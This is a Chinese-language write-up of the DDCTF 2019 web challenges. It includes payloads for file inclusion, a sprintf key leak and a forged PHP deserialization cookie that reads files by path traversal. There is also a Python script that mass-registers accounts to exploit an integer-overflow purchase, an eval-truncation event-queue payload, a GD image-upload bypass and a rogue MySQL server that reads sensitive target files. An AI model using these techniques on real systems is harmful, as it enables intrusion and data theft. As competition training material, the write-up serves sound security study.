ddctf2019_writeup

滴~

题目url http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

感觉像是包含,先解码一下参数,然后发现是两次base,变成了hex编码,再decode就发现是flag.jpg,所以可以尝试包含index.php,转换之后的值是TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,提交可获得index.php源码,然后发现读出来的数据在图片源中,提取解码得到

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

然后根据去访问csdn博客,发现一片swp的文章,然后尝试之后发现没有config.php等文件的swp,然后再去博客中看到.practice.txt.swp,尝试一下不行,把点去掉,得到提示在f1ag!ddctf.php,然后根据前面的index.php中config会被替换成_,将f1agconfigddctf.php编码提交,得到源码

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

提交uid=&content=即可得到flag

WEB 签到题

访问提示:"抱歉,您没有登陆权限,请获取权限后访问-----"

查看HTTP头,发现设置了一个didictf_username,且为空,试了下root admin,发现是admin,然后改头提交,提示:"您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php"

访问之后得到源码:


// url:app/Application.php

Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}





// url:app/Session.php



include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

进行源码审计:

有几个点:

1. 获取salt
    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }
2. 设置cookie
    $cookiedata = serialize($userdata);
    $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
    这里的$this->eancrykey就是上面获取的
3.每次验证cookie
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);
        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        // 反序列化data
        $session = unserialize($session);
4. 魔方函数
    private function sanitizepath($path) {
        $path = trim($path);
        $path=str_replace('../','',$path);
        $path=str_replace('..\\','',$path);
        return $path;
    }

    public function __destruct() {

        if(empty($this->path)) {
            exit();
        }else{
            $path = $this->sanitizepath($this->path);
            if(strlen($path) !== 18) {
                exit();
            }
            $this->response($data=file_get_contents($path),'Congratulations');
        }
        exit();
    }
结合上面的点可以知道,如果知道key.txt的内容,cookie就可以让自己伪造data,然后反序列化Session或者Application对象触发__destruct从而读取文件

5.获取key.txt
        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }
这里考察的是sprintf的函数,如果nickname是字符串,那么只会格式化第一次,第二次轮不到eancrykey,所以查询下sprintf函数
sprintf ( string $format [, mixed $... ] ) : string
Returns a string produced according to the formatting string format.
The format string is composed of zero or more directives: ordinary characters (excluding %) that are copied directly to the result and conversion specifications, each of which results in fetching its own parameter.
意思就是第一个format是格式的意思,那凭直觉试nickname=%s,就可以打印出key.txt:EzblrbNS

接下来就是构造反序列化的参数了,将上面的Application.php代码放到本地,然后在下面添加

$ddctf1 = new Application();

$ddctf1->path = '...\./config/flag.txt';

$a = serialize($ddctf1);
echo $a;

得到反序列字符串,再与EzblrbNS拼接,再得到它的md5值,然后将反序列字符串与md5值拼接,得到cookie,再urlencode,提交得到flag

image

大吉大利 今晚吃鸡

题目提示:注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~

进入题目,是个登录框,有注册按钮,按照题目提示,注册然后登录

image

点击购买,购买门票之后在订单列表中,有个价格2k的门票要支付,但是我只有100块钱啊!抓包看了下,价格是可以自己修改的。所以想了下,思路往竞争方向想,但是又没有卖的,所以又往溢出的方向想,试了一下各种溢出的上限,发现是unsigned long,上限4294967295。所以 提交http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296,就可以0元购买了。然后进入杀鸡界面

image

试了试去,就想出个注册小号给大号杀,

脚本:

这里有个坑就是,服务器网络不稳定,然后注册的id会随机,所以,要跑很久。

import requests
import queue
import json
import time



base_url = 'http://117.51.147.155:5050/'
register_url = 'ctf/api/register?name={0}&password={1}'
login_url = 'ctf/api/login?name={}&password={}'
buy_url = 'ctf/api/buy_ticket?ticket_price=4294967296'
get_bill_info_url = 'ctf/api/search_bill_info'
pay_url = 'ctf/api/pay_ticket?bill_id={}'
# game main get the id and the ticket
ticket_url = 'ctf/api/search_ticket'
# remove url
remove_url = 'ctf/api/remove_robot?id={}&ticket={}'
password = '12345678'

# message queue
q = queue.Queue()

headers = {'Accept': 'text/html, application/xhtml+xml, image/jxr, */*',
               'Accept - Encoding':'gzip, deflate',
               'Accept-Language':'zh-Hans-CN, zh-Hans; q=0.5',
               'Connection':'Keep-Alive',
               'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063'
           }

def fuck_ticket(name):
    time.sleep(2)
    s = requests.Session()
    url = base_url + register_url
    name = 'wulasitea' + str(name)
    # 注册
    url = url.format(name, password)
    s.get(url)
    print(name)
    # 登录
    url = base_url + login_url
    url = url.format(name, password)
    # print(s.get(url).text + name)
    s.get(url)
    # 购票
    url = base_url + buy_url
    res = s.get(url)

    # bill_id
    url = base_url + get_bill_info_url
    try:
        bill_id = json.loads(s.get(url).text)['data'][0]['bill_id']
        # 支付
        url = base_url + pay_url
        url = url.format(bill_id)
        s.get(url)
        # print(s.get(url).text)
    except ValueError as e:
        pass
    except IndexError as e:
        pass
    # get the final data

    try:
        url = base_url + ticket_url
        content = json.loads(s.get(url).text)
        id = str(content['data'][0]['id'])
        ticket_id = content['data'][0]['ticket']
        #删除
        name = 'h'
        url = base_url + login_url
        url = url.format(name, password)
        s.get(url)
        url = base_url + remove_url
        url = url.format(id, ticket_id)
        print(url)
        print(s.get(url, headers=headers).text)
        with open('C:/Users/97125/Desktop/1.txt', 'a') as f:
            f.write(id + ',' + ticket_id +'\n')
    except IndexError as e:
        print('error' + name)
    except json.decoder.JSONDecodeError as e:
        print('error' + name)

def cosumer_ticket():
    # 登录
    s = requests.Session()
    name = 'h'
    url = base_url + login_url
    url = url.format(name, password)
    print(url)
    res1 = s.get(url)

    # tick_list = q.get()
    with open('C:/Users/97125/Desktop/1.txt', 'r') as f:
        for i in f.readlines():
            res = i.split(',')
            url = base_url + remove_url
            url = url.format(res[0], res[1])
            print(url)
            print(s.get(url).text)

def main():
    for i in range(300,500):
        fuck_ticket(i)
    cosumer_ticket()

if __name__ == '__main__':
    main()

最后跑满100个不重复的id就可以吃鸡了

uploadimg(未做出)

​ 这题当时是无从下手,也没想到要把上传上去的图片下下来看。看了大家的writeup和解析之后,自己动手慢慢fuzz了两天晚上,终于知道是什么意思了。

​ 一开始就是一个简单的上传图片的界面,上传之后提示

image

在尝试通过burp增加phpinfo()之后无果。(假装我当时做出来了)正常思路应该是把上传的图片下下来,然后查看hex,对比发现不一样了,然后文件头有gd-jpeg字样。

查看hex

image

搜索一下,发现这是一个PHP的一个GD库,渲染图片用的。然后我再一搜,php GD漏洞,搜到

freebuf的文章

对比两张经过php-gd库转换过的gif图片,如果其中存在相同之处,这就证明这部分图片数据不会经过转换。然后我可以注入代码到这部分图片文件中,最终实现远程代码执行

原理解释在github上有。主要是

image

在Scan header正后方修改,后面添加的内容就不会被修改了,注意一定是正后方,并且是已经转换过的一次。

然后在burpsuite我发现在

image

第二个wxzy后面的问号的后面的空格的后面,比较绕,看图。直接添加,得到flag。

这题主要就是考察一个GD库渲染的漏洞,通常还是要结合实际,比如上传检测的时候文件头,然后又会做GD渲染。

homebrew event loop

这道题看了一天,还是没做出来,实属dd,看的自闭。

这题切入其实是一个python eval # 截断,大概类似于注释?,然后就可以突破去调用trigger_event函数,再将购买五个和show_flag插入调用队列中,不让consume_point有机可乘。

下面就来讲解这串代码

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5af33f66147e857'


def FLAG():
    return 'FLAG_is_here_but_i_wont_show_you'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix) + len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException: pass


def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action + ';').split('#')
            try:
                action1 = action + ('_handler' if is_action else '_function')
                event_handler = eval(action1)
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix + '/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()


# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;' * 4).replace(' ', '&nbsp;').replace('<',
                                                                                                              '&lt;').replace(
                    '>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG())  # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5001)

首先这是一个flask框架写的,入口在entry_point,它主要做的事是初始化然后调用trigger_event将提交的参数入队到event_queue,然后调用execute_event_loop去消费event_queue里的东西。现在重点来看下execute_event_loop

def execute_event_loop():
    // 白名单
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        // 出队
        event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        // 如果不是以action fun开头,则跳过循环
        if not event.startswith(('action:', 'func:')): continue
        // 白名单检测
        for c in event:
            if c not in valid_event_chars: break
        else:
            // a开头就是action,其它就是function
            is_action = event[0] == 'a'
            // 分割出action
            action = get_mid_str(event, ':', ';')
            // 分割出参数
            args = get_mid_str(event, action + ';').split('#')
            try:
                // 执行函数
                action1 = action + ('_handler' if is_action else '_function')
                event_handler = eval(action1)
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

看到这里,这个脚本本意是只让你能控制调用的_handler和_function。

接下来看要如何得到flag

def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG())  # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')

session['num_items'] >= 5

如何增加session['num_items']

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume

buy_handler先是增加session['num_items'],但是随后又把消耗session['num_items']的函数入队列。而且python(好像)是没有溢出的。

当时就觉得是这里是入手点,buy和cousume分开了。先是想的竞争,后面想了下,是单线程的。

所以需要想个办法把这个女人,不对这两函数分开,中间插个get_flag_handler,这样就可以获得flag了。

payload

?action:trigger_event%23;action:buy;5%23action:get_flag;

看下会发生什么

image

首先看action1=trigger_event#_handler,eval之后其实后面就被截断、注释掉了,所以就可以调用trigger_event,将buy和get_flag先入队。最后flag就在session里,flask的session解密在P师傅

image

mysql弱口令(未做出)

这题流程还挺简单的,感觉比吃鸡还简单,就是一个知识点。

出题人的预期的流程大概就是部署agent.py->修改返回的数据->构造恶意的mysql server读取敏感文件

题目叫部署agent.py再进行扫描,那就部署到自己的服务器上,用的是python2

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

简单的看了一下就是返回netstat -tpnl的内容 主要是

'local_address': Local_Address, 'Process_name': Process_name

在题目界面输入IP和端口,如果你确实开了mysql服务,它就会提示未扫出弱密码,如果没有开启mysql或者未部署agent.py就会提示没有开启mysql。所以可以判断它是根据agent.py返回做扫描判断。fuzz了一下,发现是对Process_name判断,有没有mysqld。所以手动修改这行为

tmp_dic = {'local_address': Local_Address, 'Process_name': 'mysqld'}

然后再部署一个恶意的mysql服务器去读靶机的敏感文件,/etc/passwd ~/.mysql_history /.bashrc等,其实是在/.mysql_history。

image

参考:原理脚本

值得一提的是,这个点也在下一周的国赛中用到了,可惜的是当时没时间弄懂这次的,要不然国赛也可以得分,能稳进决赛在在边缘徘徊。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,793评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,567评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,342评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,825评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,814评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,680评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,033评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,687评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,175评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,668评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,775评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,419评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,020评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,978评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,206评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,092评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,510评论 2 343

推荐阅读更多精彩内容